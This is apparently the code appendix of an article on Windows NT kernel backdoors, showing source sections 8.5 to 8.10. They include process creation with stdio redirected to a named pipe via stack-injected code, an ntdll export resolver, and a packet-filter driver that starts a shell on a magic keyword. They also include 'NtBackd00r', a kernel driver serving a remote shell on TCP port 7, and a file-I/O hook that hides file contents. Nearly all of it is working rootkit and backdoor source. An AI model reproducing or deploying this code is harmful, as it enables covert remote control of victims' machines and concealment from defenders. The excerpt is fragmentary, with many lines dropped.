        *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
    if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
        return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);

#define PIPE_NAME_MAX 40*2

        NT::IO_STATUS_BLOCK                iosb;
        NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
        NT::LARGE_INTEGER nTimeOut;
        nTimeOut.QuadPart = (__int64)-1E7;
        return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
                FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);        

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
    HANDLE hProcess, hThread, hSection, hFile;
        //_asm int 3;

    NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
    NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,

    oa.ObjectName = 0;
    NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
                        PAGE_EXECUTE, SEC_IMAGE, hFile);


        ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
                        NtCurrentProcess(), TRUE, hSection, 0, 0);
    NT::ZwQuerySection(hSection, NT::SectionImageInformation,
                       &sii, sizeof sii, 0);


    NT::USER_STACK stack = {0};

    ULONG n = sii.StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);

    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + sii.StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - sii.StackCommit;

        /* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
        n = sii.StackCommit + PAGE_SIZE;
    PVOID p = PCHAR(stack.ExpandableStackBase) - n;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                               PAGE_READWRITE | PAGE_GUARD, &x);

    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(sii.EntryPoint);

    NT::CLIENT_ID cid;

    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
                       hProcess, &cid, &context, &stack, TRUE);

    NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
                                  &pbi, sizeof pbi, 0);
        HANDLE hPipe,hPipe1;
        oa.ObjectName = PipeName;
        oa.Attributes = OBJ_INHERIT;
        NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
        CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

    InformCsrss(hProcess, hThread,
                ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
    ZwResumeThread(hThread, 0);


    return int(cid.UniqueProcess);

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
    NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
    return exec_piped(&ImageFile, PipeName);

----[ 8.5 - NebbetCreateProcess.diff

> typedef
> *f_SetStdHandle)(
>     IN DWORD nStdHandle,
>     IN HANDLE hHandle
>     );
> typedef
> *f_CreateFileW)(
>     IN LPCWSTR lpFileName,
>     IN DWORD dwDesiredAccess,
>     IN DWORD dwShareMode,
>     IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
>     IN DWORD dwCreationDisposition,
>     IN DWORD dwFlagsAndAttributes,
>     IN HANDLE hTemplateFile
>     );
> #ifdef _DEBUG
> typedef
> *f_GetLastError)(
>     VOID
>     );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
> struct s_data2embed
> {
>         wchar_t PipeName[PIPE_NAME_MAX];
>         //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
>         f_SetStdHandle pSetStdHandle;
>         f_CreateFileW pCreateFileW;
>         f_EntryPoint EntryPoint;
> #ifdef _DEBUG
>         f_GetLastError pGetLastError;
> #endif
> };
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
>         HANDLE hPipe;
>         __asm int 3;
>         hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
>                 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
>                 NULL,
>                 OPEN_EXISTING,
>                 0/*FILE_ATTRIBUTE_NORMAL*/,
>                 NULL);
>         embedded_data->pGetLastError();
>         /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
>         hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
>                 GENERIC_WRITE | SYNCHRONIZE,
>                 FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
>                 NULL,
>                 OPEN_EXISTING,
>                 0,
>                 NULL);
>         embedded_data->pGetLastError();
>         if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
>         if (hPipe!=INVALID_HANDLE_VALUE)
>         {
>                 embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
>         }
>         embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
>         s_data2embed data2embed;
>         PVOID pKERNEL32;
>         NT::UNICODE_STRING ModuleFileName;
>         _asm int 3;
>         *pCode = 0;
>         *pNewStack = 0;
>         NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
>         LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
>         if (!pKERNEL32) return;
>         data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
>         data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW");
> #ifdef _DEBUG
>         data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif
>         if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
>         data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
>         wcscpy(data2embed.PipeName, PipeName);
>         //wcscpy(data2embed.WPipeName, WPipeName);
>         char* p = (char*)pStack - sizeof_code2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
>         *pCode = (ULONG)p;
>         p -= sizeof s_data2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>         PVOID pData = (PVOID)p;
>         p -= sizeof pData;
>         if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>         p -= 4;
>         *pNewStack = (ULONG)p;
> }
>         ULONG newEIP, NewStack;
>         redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
>         if ((!NewStack)||(!newEIP)) return 0;
<     context.Esp = ULONG(stack.ExpandableStackBase) - 4;
<     context.Eip = ULONG(sii.EntryPoint);
>         //loader code is on the stack
>         context.Esp = NewStack;
>     context.Eip = newEIP;

----[ 8.6 - NtdllDynamicLoader.cpp

#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"

//Example A.2 from Nebbet's book

//Search loaded module by name
PVOID FindModule(char *module)
        ULONG n;
        //Request necessary size of buffer
                                 &n, 0, &n);
        //Allocate memory for n structures
    PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about modules
                                 q, n * sizeof *q, 0);

        //Module counter located at address q, information begins at q+1
    PVOID ntdll = 0;

        //Cycle for each module ...
        for (ULONG i = 0; i < *q; i++)
                // it's name with looked for...
                if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
                     module) == 0)
                        //...and stop if module found
                        ntdll = p[i].Base;
        //Free memory
    return ntdll;

    return FindModule("ntdll.dll");

//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
        //At addrress Base there is DOS EXE header
        //Extract offset of PE-header from it
    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
        //Evaluate pointer to section table,
        //according to directory of exported functions
        = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
        //Extract address and size of that table
    ULONG size = expdir->Size;
    ULONG addr = expdir->VirtualAddress;

        //Evaluate pointers:
        // - to directory of exported functions
        = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
        // - to table of addresses
    PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
        // - to table of ordinals
    PSHORT ordinals  = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
        // - to table of names
    PULONG names     = PULONG(PCHAR(Base) + exports->AddressOfNames);

    //Cycle through table of names ...
        for (ULONG i = 0; i < exports->NumberOfNames; i++) {
                //Ordinal that matches name is index in the table of addresses
        ULONG ord = ordinals[i];
                //Test is the address correct
        if (functions[ord] < addr  ||  functions[ord] >= addr + size) {
                        //If function name matches looked for...
            if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
                                //then return it's address
                return PCHAR(Base) + functions[ord];
        //Function not found
    return 0;

----[ 8.7 - Filtering.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"

    IN PUNICODE_STRING DriverServiceName

extern PF_FORWARD_ACTION PacketFilter(
  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop

NTSTATUS globalresult;
PDEVICE_OBJECT  pDeviceObject;
PFILE_OBJECT  pFileObject;
NTSTATUS SutdownFiltering()
        if ((pDeviceObject)&&(pFileObject))
                return globalresult;
        else return STATUS_SUCCESS;

NTSTATUS InitFiltering()
        UNICODE_STRING FiltDrvName;
        //_asm int 3;
        if ((!pDeviceObject)&&(!DSN.Length))
                goto retry;
        if (pDeviceObject)
                return SetupFiltering(&PacketFilter);
        } else return STATUS_OBJECT_NAME_NOT_FOUND;

NTSTATUS SetupFiltering(void *PacketFilterProc)
        IO_STATUS_BLOCK iostb;
        LARGE_INTEGER Timeout;
        PIRP pirp = NULL;
        //_asm int 3;
        pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb);
        if (!pirp)
                return STATUS_UNSUCCESSFUL;
        if (globalresult == STATUS_PENDING)
                if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS)
                        return STATUS_UNSUCCESSFUL;
                globalresult = pirp->IoStatus.Status;
        return globalresult;

----[ 8.8 - MPFD_main.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"

extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;

unsigned char * __cdecl memfind(
        const unsigned char * str1,
                unsigned int n1,
        const unsigned char * str2,
                unsigned int n2
                if (n2>n1) return NULL;

        unsigned char *cp = (unsigned char *) str1;
        unsigned char *s1, *s2;
                unsigned int x;

        for (unsigned int i=0;i<=n1-n2;i++)
                s1 = cp;
                s2 = (unsigned char *) str2;

                while (x && !(*s1-*s2) )
                        s1++, s2++, x--;
                                if (!x) return(cp);

unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";

  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop
        if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
                HANDLE ThreadHandle;
                KeSetEvent(&StartShellEvent, 0, FALSE);                
        return PF_PASS;

    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
    return Irp->IoStatus.Status;

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
#if (DBG)
        DbgPrint("MPFD: OnUnload called\n");
        PVOID ThreadObj;
        if (hShellStarterTread)
                ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
                KeSetEvent(&StartShellEvent, 0, TRUE);
                KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);        

#pragma code_seg("INIT")

        NTSTATUS status;

#if (DBG)
        DbgPrint("MPFD:In DriverEntry\n");

        for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
                DriverObject->MajorFunction[i] = OnStubDispatch;
        DriverObject->DriverUnload  = OnUnload;
        if (status!=STATUS_SUCCESS) return status;
        status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
        return status;

----[ 8.9 - NtBackd00r.cpp

// NtBackd00r.cpp
// Generated by Driver::Wizard version 2.0

#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")

#if (DBG)
#define dprintf DbgPrint
#define dprintf

extern "C" {
                IN ULONG HandleCount,
                IN PHANDLE Handles,
                IN WAIT_TYPE WaitType,
                IN BOOLEAN Alertable,
                IN PLARGE_INTEGER Timeout OPTIONAL
                OUT PHANDLE EventHandle,
                IN ACCESS_MASK DesiredAccess,
                IN POBJECT_ATTRIBUTES ObjectAttributes,
                IN EVENT_TYPE EventType,
                IN BOOLEAN InitialState
                IN HANDLE EventHandle,
                OUT PULONG PreviousState OPTIONAL

extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);

// Begin INIT section
#pragma code_seg("INIT")


// Driver Entry
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
        //Dynamic import of functions exported from ntdll.dll
        // Initialize the TDIClient framework first
        if (!KTDInterface::Initialize())
                // something wrong with TDI
                return STATUS_NOT_FOUND;
        // Create TCP server, port 7
        m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
        // If succeeded - enable network events
    if (m_pListener && m_pListener->IsCreated()) {
        dprintf("NtBackd00rDevice: Listener started\n");
    else {
        dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
        //Create dummy device for IoQueueWorkItem
        m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
        if (m_pDummyDevice  == NULL)
        return STATUS_SUCCESS;

#pragma code_seg()
#pragma warning( disable : 4706 )

//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";

//        Unload is responsible for releasing any system objects that
//        the driver has allocated.
VOID NtBackd00r::Unload(VOID)
    if (m_pListener)
                // Disable network event notifications
                // Iterate through the list of active sessions
                // and forcefully disconnect all active sessions
                Session* p;
                TDI_STATUS Status;
                while ( p = m_ActiveSessionList.RemoveHead() )
                        // Thread handle must be extracted before dele p
                        HANDLE hWorkerThread = p->hDataPumpThread;
                        // By default, this method will perform an
                        // abortive disconnect (RST)
                        Status = p->disconnect();
                        ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
                        delete p;
                        // It's required to wait for termination of worker threads,
                        // or else unloading driver will cause BSOD
                        if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
                // Wait for all outstanding requests to complete
                // By issuing a disconnect for all sessions, any
                // pending requests should be completed by the transport
                // destroy the socket
                delete m_pListener;
                m_pListener = NULL;
                dprintf("NtBackd00rDevice: Listener stopped\n");
        delete m_pDummyDevice;
        // Call base class destructor to delete all devices.

// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
                                                                        IN PVOID ApcContext,
                                                                        IN PIO_STATUS_BLOCK IoStatusBlock,
                                                                        IN ULONG Reserved
        delete (uchar *)ApcContext;


// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
        IO_STATUS_BLOCK send_iosb, rcv_iosb;
        uchar *send_buf, *rcv_buf;
        ULONG rd;
        const bufsize=0x1000;
        NTSTATUS status;
        LARGE_INTEGER  ResendInterval;
        //loacl copy of Pipes needed for correct thread termination
        //after deleting Session
        s_Pipes *Pipes;  

        Session* thiz=(Session*)thiz1;
        ResendInterval.QuadPart = (__int64)1E6; //0.1c
        //Create FIFO
        //Source of BSOD at high IRQL
        thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
        //Lock socket to avoid sudden deletion of it
        //send_buf alocated here, deleted in OnSendComplete
        send_buf = new(NonPagedPool) uchar[bufsize];        
        //Start asynchronous read
        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
        if (status==STATUS_SUCCESS)
                //Send read data to client
                status=thiz->send(send_buf, send_iosb.Information, send_buf);
                if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
                        dprintf("send error %08x\n");
                //to avoid recurring send of same data
                send_iosb.Status = -1;
        while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
                //STATUS_WAIT_1 - read operation completed
        case STATUS_WAIT_1:
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
                        if (!send_iosb.Status)
                        //Send read data to client
                        status=thiz->send(send_buf, send_iosb.Information, send_buf);
                        //If there wan an error, then it tried to push too much data in socket
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
                                //Wait for free space in buffer...
                                KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
                                //...and retry
                                goto resend;
                        //send_buf alocated here, deleted in OnSendComplete
                        send_buf = new(NonPagedPool) uchar[bufsize];        
                        //Start asynchronous read
                        status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
                        //If there was a data in pipe buffer, it read instantly.
                        if (status==STATUS_SUCCESS)
                                //send it immediately
                                goto sending;
                        else {
                                if (status!=STATUS_PENDING)
                                        delete send_buf;
                                        //STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
                                        if (status!=STATUS_PIPE_LISTENING)
                                                //otherwise it was an error, disconnect client and terminate thread
                                                if (!Pipes->Terminating) thiz->disconnect();
                                                goto fin;
                //STATUS_WAIT_0 - write operation completed
        case STATUS_WAIT_0:
                if (Pipes->Terminating) goto fin;
                if (!Pipes->hPipe) break;
                //FIFO must be locked during all operation with it
                //to avoid conflicts
                //At first look what crowd into FIFO,...
                rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
                if (rd)
                        //... then allocate appropriate amount of memory ...
                        rcv_buf = new(NonPagedPool) uchar[rd];
                        //... and read all at once
                        rd = thiz->pWBytePipe->Read(rcv_buf, rd);
                if (rd)
                        status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
                        if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING))
                                //if there was an error, disconnect client and terminate thread
                                if (!Pipes->Terminating) thiz->disconnect();
                                goto fin;
        case STATUS_ALERTED:
        default: goto fin;
        //If termination not initiated from outside, unlock socket
        if (!Pipes->Terminating) thiz->Unlock();
        //If pipe exists, then all the rest exists too -
        //destroy it all
        if (Pipes->hPipe)
                for (int i=0;i<=1;i++)
                CLIENT_ID clid = {Pipes->ChildPID, 0};
                HANDLE hProcess;
                OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE         (0x0001)  
                status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
                if (!status)
                        ZwTerminateProcess(hProcess, 0);
        delete Pipes;

#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;

VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
        OBJECT_ATTRIBUTES        attr;
        HANDLE                                loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
#define desc ((s_WorkItemDesc*)desc1)
        //By course of business will check is there "cancel" command
        if (desc->WorkItemCanceled) goto cancel2;
        //Start shell
        loc_ChildPID = StartShell(&loc_hPipe);
        if (loc_ChildPID)
                InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);                
                //Create 2 events to notify thread about data receipt
                //from socket or pipe
                for (int i=0;i<=1;i++)
                        ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
                //Disable interrupts and write all handles to structure that is class member
                        if (!desc->WorkItemCanceled)
                                desc->thiz->m_Pipes->hPipe = loc_hPipe;
                                desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
                                desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
                                desc->thiz->m_Pipes->ChildPID = loc_ChildPID;

                if (desc->WorkItemCanceled) goto cancel;

                //Create thread, that transfers data between named pipe and socket
                PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
        } else {
        //In case of error or cancel close pipe, send error message to client,
        //and disconnect it
        char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
        RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
        desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
        desc->WorkItem = NULL;
        if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
#undef desc

// Session   -- Event handlers.
BOOLEAN  Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
                                                        uint OptionsLength, PVOID Options)
        // Connecting: print the IP address of the requestor and grant the connection
        char szIPaddr[20];        
        inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
    dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        //Initialization of miscellaneous stuff
        pWBytePipe = NULL;
        hDataPumpThread = NULL;        
        m_Pipes = new(NonPagedPool) s_Pipes;
        RtlZeroMemory(m_Pipes, sizeof s_Pipes);

        //Initialize and start WorkItem
        m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
        if (!pWorkItemDesc->WorkItem) return FALSE;
        //To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
        IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc        

        // Add this object to the session list maintained by the driver
        UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
    return TRUE;

void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
    dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
        UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);

        // obtain a pointer to the KDriver derived class
        NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
        // Remove this object from the session list maintained by the driver
        //Set flas, that make thread to terminate
        m_Pipes->Terminating = true;
        //To not wait for yesterday in OnUnload
        hDataPumpThread = NULL;
        //Set event "let's finish"
        if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        //If WorkItem works, notify it about termination
        if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
        delete pWBytePipe;

uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
                                                uchar **RcvBuffer, uint* RcvBufferLen)
        // Received some data from the client peer.
        //If all required pointers and handles are valid
        if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
                //Write that data to FIFO
                pWBytePipe->LockedWrite(Data, Indicated);
                //And notify DataPumpThread
                ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);

        // Now, if the transport has more data available than indicated,
        // allocate another buffer to read the rest. When the transport
        // done with it - asynchronously - our OnReceiveComplete() handler
        // is called. Note that failure to submit a buffer supressed further
        // recieve indications - until and if a recv() is issued.
        if (Indicated < Available) {
                *RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
    return Indicated;

void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
    // Our send request has completed. Free the buffer
        if (status != TDI_SUCCESS)
        dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
        //free the buffer
        delete ((uchar*)buf);

void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
        // Buffer for the partially indicated data allocated and submitted during
        // OnReceive() processing is filled in by the transport.
    if (status == TDI_SUCCESS) {
                if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
                        //Write that data to FIFO
                        pWBytePipe->LockedWrite(Data, Indicated);
                        //And notify DataPumpThread
                        ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
        } else
        dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
        if (status != TDI_PENDING)
                delete Data;

// end of file

---[ 8.10 - Intercept.cpp

//This module hooks:
//to hide first N bytes of given file

extern "C" {
#include <ntddk.h>
#pragma hdrstop("InterceptIO.pch")

// Undocumented structures missing in ntddk.h

typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6

typedef struct _FILE_EA_INFORMATION { // Information Class 7
    ULONG EaInformationLength;

typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
    ACCESS_MASK GrantedAccess;

typedef struct _FILE_MODE_INFORMATION { // Information Class 16
    ULONG Mode;

typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
    LARGE_INTEGER AllocationSize;

        ULONG NextEntryOffset;
        ULONG FileIndex;
        LARGE_INTEGER CreationTime;
        LARGE_INTEGER LastAccessTime;
        LARGE_INTEGER LastWriteTime;
        LARGE_INTEGER ChangeTime;
        LARGE_INTEGER EndOfFile;
        LARGE_INTEGER AllocationSize;
        ULONG FileAttributes;
        ULONG FileNameLength;
        WCHAR FileName[1];

typedef struct _FILE_ALL_INFORMATION { // Information Class 18
    FILE_BASIC_INFORMATION BasicInformation;
    FILE_STANDARD_INFORMATION StandardInformation;
    FILE_INTERNAL_INFORMATION InternalInformation;
    FILE_EA_INFORMATION EaInformation;
    FILE_ACCESS_INFORMATION AccessInformation;
    FILE_POSITION_INFORMATION PositionInformation;
    FILE_MODE_INFORMATION ModeInformation;
    FILE_ALIGNMENT_INFORMATION AlignmentInformation;
    FILE_NAME_INFORMATION NameInformation;

typedef struct tag_QUERY_DIRECTORY
  ULONG Length;
  FILE_INFORMATION_CLASS FileInformationClass;
  ULONG FileIndex;

#pragma pack(push, 4)

typedef struct tag_FQD_SmallCommonBlock
  ULONG   NextEntryOffset;
  ULONG   FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;

typedef struct tag_FQD_FILE_ATTR
  TIME    CreationTime;
  TIME    LastAccessTime;
  TIME    LastWriteTime;
  TIME    ChangeTime;
  LARGE_INTEGER AllocationSize;
  ULONG   FileAttributes;

typedef struct tag_FQD_CommonBlock
  FQD_SmallCommonBlock SmallCommonBlock;
  FQD_FILE_ATTR        FileAttr;
  ULONG                FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;

  FQD_CommonBlock CommonBlock;


  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;

  FQD_CommonBlock CommonBlock;

  ULONG  EaSize;
  USHORT ShortFileNameLength;
  WCHAR  ShortFileName[12];

#pragma pack(pop)

// Global variables
PDRIVER_OBJECT      pDriverObject;
PDRIVER_DISPATCH        OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp;
PFAST_IO_READ                OldFastIoReadDisp;
PFAST_IO_WRITE                OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO        OldFastIoQueryStandartInfoDisp;

//Size of our file's Invisible Part (in bytes)
